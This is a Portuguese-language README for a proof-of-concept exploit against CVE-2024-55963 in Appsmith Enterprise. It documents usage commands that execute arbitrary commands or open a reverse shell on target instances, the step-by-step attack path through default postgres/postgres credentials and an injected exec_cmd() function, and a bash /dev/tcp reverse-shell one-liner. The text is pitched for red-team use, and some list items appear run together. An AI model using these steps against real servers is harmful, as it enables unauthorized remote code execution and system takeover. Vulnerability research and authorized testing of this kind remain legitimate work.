
CVE-2024-55963, permite execução remota de código não autenticada na plataforma Appsmith Enterprise devido a um banco de dados PostgreSQL mal configurado incluído por padrão.
Exploit de PoC para CVE‑2024‑55963 que executa comandos arbitrários ou abre um reverse shell em instâncias vulneráveis do Appsmith.
Ele lida automaticamente tanto com servidores modernos (com o recurso environmentId) quanto com builds muito mais antigas “legacy” que o precedem, então você pode usar um único script para todas as versões, de v1.20 até a última versão vulnerável, a v1.51.
# Executa um comando arbitrário (o padrão é `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# abre um reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
Nota: Qualquer credencial funciona desde que o servidor permita cadastro self‑service. O script tenta fazer login primeiro e, se a conta não existir, recorre ao registro.
/api/v1/environments/workspaces/{id}; se não existir, alterna para o modo legado (environmentId vazio)./api/v1/applications e extrai o pageId.localhost:5432 com credenciais postgres/postgres (permitidas pelo pg_hba.conf padrão vulnerável).exec_cmd() e uma tabela temporária cmd_output que coleta o STDOUT.SELECT * FROM exec_cmd('<your cmd>') por meio do endpoint /api/v1/actions/executebash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'requests| Appsmith version | Result |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, caminho legado |
| 1.52+ | ❌ Corrigido – a criação de função falha |
Este PoC é um aprimoramento do exploit da Rhino Security Labs (não tinha percebido que eles já tinham um PoC público quando estava revisando a pesquisa).
O PoC da Rhino usa headers, cookies e credenciais estáticos. Ao testar esse exploit, me deparei com problemas quando a conta já existia em versões específicas. Este script permite que o usuário informe qualquer combinação de e‑mail/senha pela linha de comando. Como mencionado, o token CSRF é extraído em vez de depender de valores fixos (hardcoded).
Environments API.COPY PROGRAM dentro do wrapper PL/pgSQL exec_cmd() e a API /actions/execute, mas isso é discutivelmente mais ruidoso. A Rhino depende do endpoint integrado de pré‑visualização de esquema (schema preview) para emitir um comando COPY (SELECT …) ad‑hoc. Esse endpoint trunca o tamanho da saída e adiciona regras extras de citação, o que dificulta a passagem de comandos longos ou payloads encadeados.pyfigletenvironmentId. O exploit da Rhino presume que ele está sempre presente.Juntas, essas escolhas de design tornam o exploit mais curto, mais confiável e mais amigável para uso em red team, ao mesmo tempo que demonstram a mesma vulnerabilidade subjacente.
Este código é fornecido apenas para fins educacionais e testes autorizados. Executá‑lo contra sistemas que você não possui ou para os quais não tem permissão explícita de teste provavelmente é ilegal. Os autores não aceitam nenhuma responsabilidade pelo uso indevido.